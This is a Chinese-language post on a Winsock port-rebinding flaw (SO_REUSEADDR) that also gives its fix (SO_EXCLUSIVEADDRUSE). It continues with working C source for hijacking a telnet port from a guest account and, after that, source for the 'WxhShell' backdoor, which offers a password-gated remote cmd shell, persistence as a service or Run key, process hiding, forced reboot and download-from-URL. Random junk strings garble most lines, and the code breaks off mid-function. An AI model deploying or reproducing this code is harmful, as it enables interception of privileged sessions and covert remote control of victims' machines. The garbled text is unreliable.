在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
}e<'BIME s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
v:KX9A. GCT@o!
saddr.sin_family = AF_INET;
bpCNho$ gQ37> saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Z@3l%p6V ?d$"[lKX bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
W9Nmx3ve F|9+ +) 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Ia2(Km ueDvMP 这意味着什么?意味着可以进行如下的攻击:
@mf({Q> t<nFy 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
f/} rK7W(D} 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
~-TOsRvxR < f(?T` 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
L=O lyHO >3 l=*|9 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
$r\"6e |uI?ySF 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
k=[pm5ZvT~ )RN<GW' 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
["y6b*;x +4et7 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
@x1%)1 vJ"i.:Gf4 #include
V1B(|P #include
pMR,#[U< #include
~6`iY@) #include
~i ,"87$[ DWORD WINAPI ClientThread(LPVOID lpParam);
ExVDkt0 int main()
oFCgu{\kt {
A`[@8 WORD wVersionRequested;
VWx]1\ DWORD ret;
gl{B=NN WSADATA wsaData;
;au*V5a% BOOL val;
~S*b SOCKADDR_IN saddr;
1!1!PA9u SOCKADDR_IN scaddr;
ba3*]01Yb int err;
$A2n{ SOCKET s;
p@~ic#X SOCKET sc;
nirDMw[ int caddsize;
ST1'\Eo HANDLE mt;
thc <xxRP DWORD tid;
z.36;yT/ wVersionRequested = MAKEWORD( 2, 2 );
Es!Q8. err = WSAStartup( wVersionRequested, &wsaData );
"l7NWqfB if ( err != 0 ) {
e(?]SU| printf("error!WSAStartup failed!\n");
rf.`h{!! return -1;
Ag9?C* }
:"Y*<=x#2 saddr.sin_family = AF_INET;
Fh8lmOL;? Kcy@$uF{2 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
DF_X Z
hd#:d saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
tyh@^7 saddr.sin_port = htons(23);
)Ry<a$Q3 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
dOFD5}_ {
o`n$b(VZ printf("error!socket failed!\n");
%<0eA`F4 return -1;
i#/]KsSp }
q{0R=jb val = TRUE;
Ts.wh>` //SO_REUSEADDR选项就是可以实现端口重绑定的
$pyOn2} if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
i/H+xrCK {
`=UWqb(K_ printf("error!setsockopt failed!\n");
I_1e?\ return -1;
i,IB!x }
b2,!g }I //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Djq!P //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
q_kdCO{:df //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
X]%itA Q GZyL)Q if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
2ZcKK8X;7 {
y5r4+2B ret=GetLastError();
?W>qUrZ printf("error!bind failed!\n");
1rKy@9 return -1;
]\ !5}L }
M{g%cR0 listen(s,2);
":a\z(*t while(1)
6;'dUGvH {
#>lG7Ns|4 caddsize = sizeof(scaddr);
[NMVoBvG //接受连接请求
jhu 07HX_ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
^XbU~3( if(sc!=INVALID_SOCKET)
fGhn+8VfX {
1#IlWEg mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
^=>Tk$ _2 if(mt==NULL)
Ar*^;/ {
LUB${0BrA printf("Thread Creat Failed!\n");
wLc4Dm*V break;
A, 3bC }
Xtt?] }
8>hwK )av CloseHandle(mt);
A,sr[Pa@ }
O nQdq^UB closesocket(s);
~ab:/!Z WSACleanup();
{|I;YDA return 0;
fhL,aCS= }
!*RqCS, DWORD WINAPI ClientThread(LPVOID lpParam)
,]bB9tid {
sMu]
/'7 SOCKET ss = (SOCKET)lpParam;
9IX/wm" SOCKET sc;
;>n,:355L unsigned char buf[4096];
Ym3\pRFiD SOCKADDR_IN saddr;
Z#rB} long num;
0c} }Q DWORD val;
dFKM
8_jH DWORD ret;
%CK^Si%+ //如果是隐藏端口应用的话,可以在此处加一些判断
CrwwU7qKL //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
y;s`P. saddr.sin_family = AF_INET;
v`M3eh@$A saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
,^uEYT}j saddr.sin_port = htons(23);
yUpgoX(6 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
;q*e=[_DF {
On?p 9^9 printf("error!socket failed!\n");
+E{|63~q return -1;
r-:Uz\gM }
z CvKDlL val = 100;
N;\'N
ne if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
%}%Qc6.H {
EOCN&_Z; ret = GetLastError();
Z<vKQ4G return -1;
2 B }
Y'8?.a]' if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
k |eBJ% {
>r !|sC ret = GetLastError();
=>_\fNy return -1;
.>WxDQIo }
; #&yn=^ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
iKT [=c {
E"5*Ei)^3 printf("error!socket connect failed!\n");
"thdPZ closesocket(sc);
Dy:|g1> closesocket(ss);
G|!on<l& return -1;
hpD!2 K3> }
Z'.AA OG while(1)
njputEGX {
eQ]~dA8> //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
ivN&HAxI@ //如果是嗅探内容的话,可以再此处进行内容分析和记录
e]zBf;9J //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
L6|oyf num = recv(ss,buf,4096,0);
:g Wu9Y|{ if(num>0)
iMDM1}b send(sc,buf,num,0);
(2$p{Uf else if(num==0)
y.< m#Zzt break;
-#N.X_F num = recv(sc,buf,4096,0);
}E50>g if(num>0)
[J?aD`{#O send(ss,buf,num,0);
P&*2pX: else if(num==0)
mc? Vq break;
J;8IY= }
7`DBS^O]dG closesocket(ss);
>JFO@O5 closesocket(sc);
e?8FN. q return 0 ;
Nh_Mz;ITuu }
*V8<:OG|e >I-RGW'A l3ko?k ==========================================================
CYY=R'1:G{ T[UN@^DP( 下边附上一个代码,,WXhSHELL
2fnkw/ /<|%yE&KhJ ==========================================================
128EPK 5K>3My# #include "stdafx.h"
QI'Oz{vE `ZyI!" #include <stdio.h>
4.[^\N #include <string.h>
@#T|Y& #include <windows.h>
mwHB(7YS, #include <winsock2.h>
3Q.#c,`jV #include <winsvc.h>
_=F=`xu #include <urlmon.h>
P}n_IV*@ D9^h;
8 #pragma comment (lib, "Ws2_32.lib")
1ySk;;3 #pragma comment (lib, "urlmon.lib")
Hq:X{)" cQy2"vtU #define MAX_USER 100 // 最大客户端连接数
Lt?lv2k=L #define BUF_SOCK 200 // sock buffer
ls\WXCH #define KEY_BUFF 255 // 输入 buffer
SJb&m- PUp6Q;AdQ #define REBOOT 0 // 重启
J\twZ>w~0 #define SHUTDOWN 1 // 关机
jnO9j_CY vdivq^%=a #define DEF_PORT 5000 // 监听端口
a*lh)l<KV 46_xyz3+ #define REG_LEN 16 // 注册表键长度
=Y{(%sn #define SVC_LEN 80 // NT服务名长度
mqD}BOif
4":KoS`,j // 从dll定义API
} gyj0 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
YxYH2*q@ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
%?0:vn typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
w'Y7IlC typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
+"\sc;6m. I| w"/"U // wxhshell配置信息
7zXvnxYE struct WSCFG {
<'y?KiphL int ws_port; // 监听端口
HSjlD{R char ws_passstr[REG_LEN]; // 口令
'N (:@]4N int ws_autoins; // 安装标记, 1=yes 0=no
hZ?Rof char ws_regname[REG_LEN]; // 注册表键名
x gVeN[" char ws_svcname[REG_LEN]; // 服务名
Ra)3+M!x char ws_svcdisp[SVC_LEN]; // 服务显示名
W9 GxXPA char ws_svcdesc[SVC_LEN]; // 服务描述信息
I667Gz$j5 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
$v4.sl:x int ws_downexe; // 下载执行标记, 1=yes 0=no
S'Q@ScJ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
eBZXI)pPh char ws_filenam[SVC_LEN]; // 下载后保存的文件名
(9''MlGd% DU0zez I9 };
g1/:Q%R,
d[@X% // default Wxhshell configuration
>K_(J/&p struct WSCFG wscfg={DEF_PORT,
D=q:*x "xuhuanlingzhe",
%<\vGqsM 1,
>N^Jj:~l "Wxhshell",
fx41,0;gZq "Wxhshell",
sJB;3"~ "WxhShell Service",
dU&a{$ku[ "Wrsky Windows CmdShell Service",
{2O1"|s , "Please Input Your Password: ",
g!g#]9j 1,
~8'sBT "
http://www.wrsky.com/wxhshell.exe",
ity & v9 "Wxhshell.exe"
f(>p=%=O };
x,=&JtKVc Ep9nsX* // 消息定义模块
Fco`^kql.D char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
q }i]'7 char *msg_ws_prompt="\n\r? for help\n\r#>";
*RI]?j%B char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
v,FU^f-' char *msg_ws_ext="\n\rExit.";
k :(SCHf char *msg_ws_end="\n\rQuit.";
\\iQEy<i char *msg_ws_boot="\n\rReboot...";
CuaVb1r char *msg_ws_poff="\n\rShutdown...";
&|s0P char *msg_ws_down="\n\rSave to ";
Vh'P&W?[ @x*c1%wg char *msg_ws_err="\n\rErr!";
lEH65;Nh* char *msg_ws_ok="\n\rOK!";
Z+*9#!?J &p'Y^zL- char ExeFile[MAX_PATH];
Yxr>"KH6a int nUser = 0;
B{QBzx1L9c HANDLE handles[MAX_USER];
^=GC3%
J int OsIsNt;
/K+r?
]kf AFq~QXmr) SERVICE_STATUS serviceStatus;
QE^$=\l0 SERVICE_STATUS_HANDLE hServiceStatusHandle;
5#HW2"7 2Z+Wu3# // 函数声明
GSoX<*i int Install(void);
8v:T.o;< int Uninstall(void);
`LrHKb
aP int DownloadFile(char *sURL, SOCKET wsh);
X:A^<L
~ int Boot(int flag);
%:M^4~dc void HideProc(void);
,1y@Z 5wy int GetOsVer(void);
f/ U` int Wxhshell(SOCKET wsl);
y`L>wq,KU void TalkWithClient(void *cs);
,kyJAju> int CmdShell(SOCKET sock);
'F/~o1\. int StartFromService(void);
:N:yLd} & int StartWxhshell(LPSTR lpCmdLine);
EuEZ D+ ST|x23|O] VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
R}-(cc%5 VOID WINAPI NTServiceHandler( DWORD fdwControl );
%41m~Wh2 >"??!|XG^ // 数据结构和表定义
>Rl" SERVICE_TABLE_ENTRY DispatchTable[] =
DHyq^pJ {
&yct!YOB2 {wscfg.ws_svcname, NTServiceMain},
?j'7l=94A {NULL, NULL}
6]&OrS[ };
BnX0G1|# f&=AA@jLv // 自我安装
WltQ63u int Install(void)
4svBzZdr {
>f|||H}Snw char svExeFile[MAX_PATH];
Yz'K]M_Dq HKEY key;
|.(dq^ strcpy(svExeFile,ExeFile);
'3R`lv ;nI] !g: // 如果是win9x系统,修改注册表设为自启动
/}((l%U E. if(!OsIsNt) {
s,"]aew if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
^4y,W]JUDt RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
H[NSqu.s RegCloseKey(key);
a1g,@0s if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
ADz ^\ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
%@<8<6&q RegCloseKey(key);
eln)BW# return 0;
]l;o}+`G }
F6LH $C }
;d@#XIS&-( }
,dv+p&Tz2 else {
6gkV*|U,e df*#!D7oz // 如果是NT以上系统,安装为系统服务
dhC$W!N7! SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
k6;?)~. if (schSCManager!=0)
T tfo^ksw {
t^UxR@l<K| SC_HANDLE schService = CreateService
k
9_`(nx (
)~&CvJ schSCManager,
el&0}`K wscfg.ws_svcname,
aR[JD2G wscfg.ws_svcdisp,
3BzNi' SERVICE_ALL_ACCESS,
:>rkG?NfL SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
D+#E-8 SERVICE_AUTO_START,
'g">LQ~a+ SERVICE_ERROR_NORMAL,
rExnxQ<e svExeFile,
V~UN NULL,
\9.bt:k@OT NULL,
T5|qRlW NULL,
gx-2v|pZ NULL,
.14~J6 NULL
j9m_jv );
_aq8@E~ if (schService!=0)
c\/=iVw, {
#./fY;:cj CloseServiceHandle(schService);
{WJ m CloseServiceHandle(schSCManager);
M
"ui0
ac strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
R%Hi+#/dr- strcat(svExeFile,wscfg.ws_svcname);
#^#PPO if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
J.3u^~zy RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
s'3
s^Dd RegCloseKey(key);
I.I`6(Cb return 0;
HUcq%. }
!zBhbmlKt }
HsxVZ.dS CloseServiceHandle(schSCManager);
<g-9T -Ky }
a a<8,; }
XYQ/^SI!: 9/9j+5}+ return 1;
GL&y@6 }
bkRLC_/d 6=kEyJT' // 自我卸载
6d:zb;Iz int Uninstall(void)
1v#%Ei$6`t {
\TIT:1 HKEY key;
^0Zf,40 ag;Q F if(!OsIsNt) {
{vs
uPY
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Id*Ce2B RegDeleteValue(key,wscfg.ws_regname);
vjLJinJ/ RegCloseKey(key);
XFg9P}" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
"_P;2N6 RegDeleteValue(key,wscfg.ws_regname);
Q[Z8ok RegCloseKey(key);
% BVs47g return 0;
0mpX)S }
JELTo u }
ycc4W*] }
#||}R[~P" else {
Y1L[;)H n ,ZaRy$? SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
j~"Q3P;V if (schSCManager!=0)
R$v[!A+:' {
Q}`0W[a
~ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
dW_KU} if (schService!=0)
E{`kaWmC&~ {
yUeCc"Vf if(DeleteService(schService)!=0) {
B#exHf8 CloseServiceHandle(schService);
y?rPlA_ CloseServiceHandle(schSCManager);
Jlri*q"hE return 0;
&]g}u5J!= }
+j#+8Ze CloseServiceHandle(schService);
,bXe<L) }
VdPtPq1 CloseServiceHandle(schSCManager);
dFRsm0T }
k@\ iGqo }
h mvfw:Nq4 5rwu!Y;7* return 1;
`V=N*hv` }
!-ok"k0,u B%"
d~5Y // 从指定url下载文件
eds o2 int DownloadFile(char *sURL, SOCKET wsh)
cT<1V!L4 {
;}7Rjl# HRESULT hr;
=w;F<M|Y char seps[]= "/";
,f<?;z char *token;
FI[A[*fi char *file;
6TYY
UM"& char myURL[MAX_PATH];
p
s/Ayjk char myFILE[MAX_PATH];
[6 pD ={_C&57N1 strcpy(myURL,sURL);
00'%EYO token=strtok(myURL,seps);
_|iSF2f,X while(token!=NULL)
MPCBT!o4Z {
4 kn|^ file=token;
<_h~w} token=strtok(NULL,seps);
O#b6mKPt;t }
rEv@YD
*Y,x|F GetCurrentDirectory(MAX_PATH,myFILE);
5}:-h> strcat(myFILE, "\\");
4F)-"ck strcat(myFILE, file);
`lQ3C{} send(wsh,myFILE,strlen(myFILE),0);
LyZ.l*h%=m send(wsh,"...",3,0);
?<V?wsp hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
rw: c if(hr==S_OK)
t|a2;aq_ return 0;
^]7}YF2| else
0vFD3}~> return 1;
_/F7?^j V}bjK8$$ }
?/BqD;{?I --PtZ]Z // 系统电源模块
gMY1ts}Z int Boot(int flag)
0F]>Jby {
Q7*SE%H HANDLE hToken;
[.m`+ TOKEN_PRIVILEGES tkp;
B$-R-S6 <<@bl@9' if(OsIsNt) {
, 0imiv OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
JM=JH
51` LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
O?)3VT* tkp.PrivilegeCount = 1;
"*m_> IU tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
j2ve^F:Q AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
>{N9kWY if(flag==REBOOT) {
*-MM<|Qt if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
O]lSWEe return 0;
T@G?t0 }
@HQ`~C#Z' else {
qLw{?sH}J/ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
g,}_G3[j0m return 0;
:e]a$ }
5i>$]*o }
V@Rrn <l else {
2HpHxVJ if(flag==REBOOT) {
FB
_pw!z if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
!+1<E*NQ S return 0;
W{%TlN }
f%Ns[S~ r else {
}E0,z if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
%70~M_ return 0;
NPCs('cd>? }
|o{:ZmzM }
!_`&Wks {. 2k6_1[ return 1;
bu
|a0h7e }
>=RmGS p<zSJLN // win9x进程隐藏模块
'$|[R98 void HideProc(void)
q<\, {
~;1l9^N| v5By :z HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Pf|siC^;s~ if ( hKernel != NULL )
LJ*q 1
;<E {
>H'4{| pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
"SzdDY6 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
1abtgDL FreeLibrary(hKernel);
vg
D77 }
w9NHk~LHKF KMU4n-s"o return;
eln&]d; }
dE:+k/ Ko;{I?c // 获取操作系统版本
A3|Dz&@: int GetOsVer(void)
X=hYB}}nu {
VG,u7A*Z# OSVERSIONINFO winfo;
&Rx{.9 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
!OBEM1~
1 GetVersionEx(&winfo);
zRq-b`<7V if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
nX(+s*Y+w return 1;
[* @5\NWR} else
T(e!_VY|m return 0;
lmfi }
|55N?=8 .Jt[(; // 客户端句柄模块
T-5nB>) int Wxhshell(SOCKET wsl)
uM_# {
y>72{ SOCKET wsh;
|
\'rP_I> struct sockaddr_in client;
!R1.7}O DWORD myID;
gA:5M t: #6sF while(nUser<MAX_USER)
HuwU0:* {
O)ME"@r@: int nSize=sizeof(client);
JcbwDlUb wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
>p.O0G
gg if(wsh==INVALID_SOCKET) return 1;
J(c{y]` J 1E73i_L handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
y($%;l if(handles[nUser]==0)
CAcS~ " closesocket(wsh);
wvbPnf^y else
TiYnc3Bz}J nUser++;
A8pIs }
vgUb{D WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
_io+YzS QNARkYY~| return 0;
Z00+!Tnd }
WHjUR0NZ =!`j7#: // 关闭 socket
Z\HX~*,6 void CloseIt(SOCKET wsh)
\hhmVt@@ {
Xtp"QY
p closesocket(wsh);
D3)zk@N nUser--;
Sh?4ri@: ExitThread(0);
o>7ts&rk }
*e-A6Sh 'UMXq~RMe // 客户端请求句柄
G(~;]xNW+ void TalkWithClient(void *cs)
xfb]b2 {
Kt"BE j *,Za6.= SOCKET wsh=(SOCKET)cs;
E;1Jh(58)b char pwd[SVC_LEN];
j{NNSi3 char cmd[KEY_BUFF];
]79:yMD~ba char chr[1];
z}{afEb int i,j;
zOGU8Wg :PtF+{N> while (nUser < MAX_USER) {
/w]!wM nv0]05.4 if(wscfg.ws_passstr) {
O9g{+e` if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
~M\I;8ne //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
7}vg.hmZ //ZeroMemory(pwd,KEY_BUFF);
de>v i=0;
*&d<yJM`b while(i<SVC_LEN) {
qQ0cJIISb\ QK+(g,)_86 // 设置超时
Op>%?W8/UF fd_set FdRead;
m+#iR}*1L struct timeval TimeOut;
Q4*fc^?u FD_ZERO(&FdRead);
wbe<'/X+ FD_SET(wsh,&FdRead);
dlG=Vq&Y TimeOut.tv_sec=8;
2^)1N>"g TimeOut.tv_usec=0;
_>v<(7 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
z^GDJddG if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Dgx8\~(E' 5ux`U{`m if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
r" K':O6y pwd
=chr[0]; XXh6^@H=
if(chr[0]==0xd || chr[0]==0xa) { SL,p36N
pwd=0; }sx_Yj
break; Ton94:9bZ
} l983vKr
i++; fPrLM'
} @fa@s-wb
qY>{cjo
// 如果是非法用户,关闭 socket iC*F
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); yB3;
} MSV2ip3
bcAvM;
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [Tnsr(Z
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CEC
nq3
>y}M.Mm
while(1) { [2dn\z28
d oB
ZeroMemory(cmd,KEY_BUFF); ~`D|IWMDq
>/#KI~}'N
// 自动支持客户端 telnet标准 VOr 1
j=0; E7Ulnvd
while(j<KEY_BUFF) { 7Su#Je]
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t!2(7=P30(
cmd[j]=chr[0]; >+mD$:L
if(chr[0]==0xa || chr[0]==0xd) { Qjnd6uv{I
cmd[j]=0; k2xHH$+{#=
break; 'oN\hy($,h
} >5wx+n)/)
j++; {>"NyY
} 1lsLJ4P
kvh&d|
// 下载文件 af|5n><~A
if(strstr(cmd,"http://")) { fRfn2jA)d
send(wsh,msg_ws_down,strlen(msg_ws_down),0); siTX_`0
if(DownloadFile(cmd,wsh)) \3Q&~j
send(wsh,msg_ws_err,strlen(msg_ws_err),0); i_kE^SSgm
else )?2e
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r|*&GHo L
} fGv#s
X
else { fgj^bcp-
)XfzLF7
switch(cmd[0]) { NjE</Empb%
y}v+c%d
// 帮助 A!vCb
8(TX
case '?': { 63!rUB!
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;Efcw[<
break; xvNo(>
} CAT.4GM
// 安装 Gd+ET
case 'i': { @h?shW=^
if(Install()) }YOL"<,:o
send(wsh,msg_ws_err,strlen(msg_ws_err),0); < pTTo
else E(Rh#+]Y5
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rtQHWRUn
break; )s9',4$eK<
} Ro=AADv@
// 卸载 $hR)i
case 'r': { XCsiEKZ_i
if(Uninstall()) 7B3w\
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gq#~vr
else W2;N<[wa<u
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XI Jlc~2
break; K1?Gmue#I
} OTB$V k
// 显示 wxhshell 所在路径 )R_E|@"
case 'p': { INSkgOo
char svExeFile[MAX_PATH]; CnN9!~]"
strcpy(svExeFile,"\n\r"); YYg)
strcat(svExeFile,ExeFile); sP'0Sl~NU
send(wsh,svExeFile,strlen(svExeFile),0); fU2qrcVu
break; qP*}.Sqk7
} 'z=:[#b
// 重启 #kkY@k$4
case 'b': { M!M!Ni
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [O
",
if(Boot(REBOOT)) 6qo^2
send(wsh,msg_ws_err,strlen(msg_ws_err),0); aH_6s4+:
else { 4y}"Hy
closesocket(wsh); W&"|}Pi/
ExitThread(0); Uf*EJ1Ei
} MVv1.6c7Y
break; 1+y"i<3)
} o**y Z2
// 关机 FZpKFsPx
case 'd': { _DPOyR2
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %bb~Y"
if(Boot(SHUTDOWN)) IxDWJ#k
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %1McD{
else { gd@p|PsS^
closesocket(wsh); [IM%b~j(^
ExitThread(0); @nV5.r0W}B
} u3tZ[Y2 c
break; ekf$dgoR
} x4a:PuqmGG
// 获取shell pF=g||gS
case 's': { ":?T%v>
CmdShell(wsh); nw'-`*'rj
closesocket(wsh); q$ghLGz
ExitThread(0); iy5R5L2
break; QBE@(2G}C
} U!q[e`B
// 退出 h=RDO
case 'x': { v$|mo;6
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); rE!1wc>L
CloseIt(wsh); *8g<R
break; 0??Yr
} @O3/3vi1
// 离开 uf) Oy7FQ
case 'q': { <ZPZk'53<f
send(wsh,msg_ws_end,strlen(msg_ws_end),0); J0<p4%Cf
closesocket(wsh); !)OB@F%U
WSACleanup(); .5tg4%l
exit(1); Aa(<L$e!`
break; 7$T8&Mh
} &,W$-[
} z)L}ECZh9
} +$beo2x6
7|D|4!i2Y
// 提示信息 9fVj
8G
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =q
CF%~
} <DiOWi
} w{7ji}
]
VG?+
return; N7.
@FK
} a>Re^GT+z
Q9y*:
// shell模块句柄 ,Q2N[Jwd$
int CmdShell(SOCKET sock) LdTIR]
{ I"Q<n[g0'
STARTUPINFO si; ILG?r9x
ZeroMemory(&si,sizeof(si)); pzEABA
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ; h+ q
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }$)&{d G
PROCESS_INFORMATION ProcessInfo; 8 lS($@@{
char cmdline[]="cmd"; ^8742.
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); d(l|hmj4j9
return 0; nP_=GI
} cF.mb*$K
rF8
hr
// 自身启动模式 6F5,3&
int StartFromService(void) 0BC`iql5
{ BMjfqX
typedef struct 9s
$PrF
{ o>u!CL<
DWORD ExitStatus; ?M"HXu
DWORD PebBaseAddress; XtW_
DWORD AffinityMask; 3}4#I_<$F@
DWORD BasePriority; t,Q'S`eTU
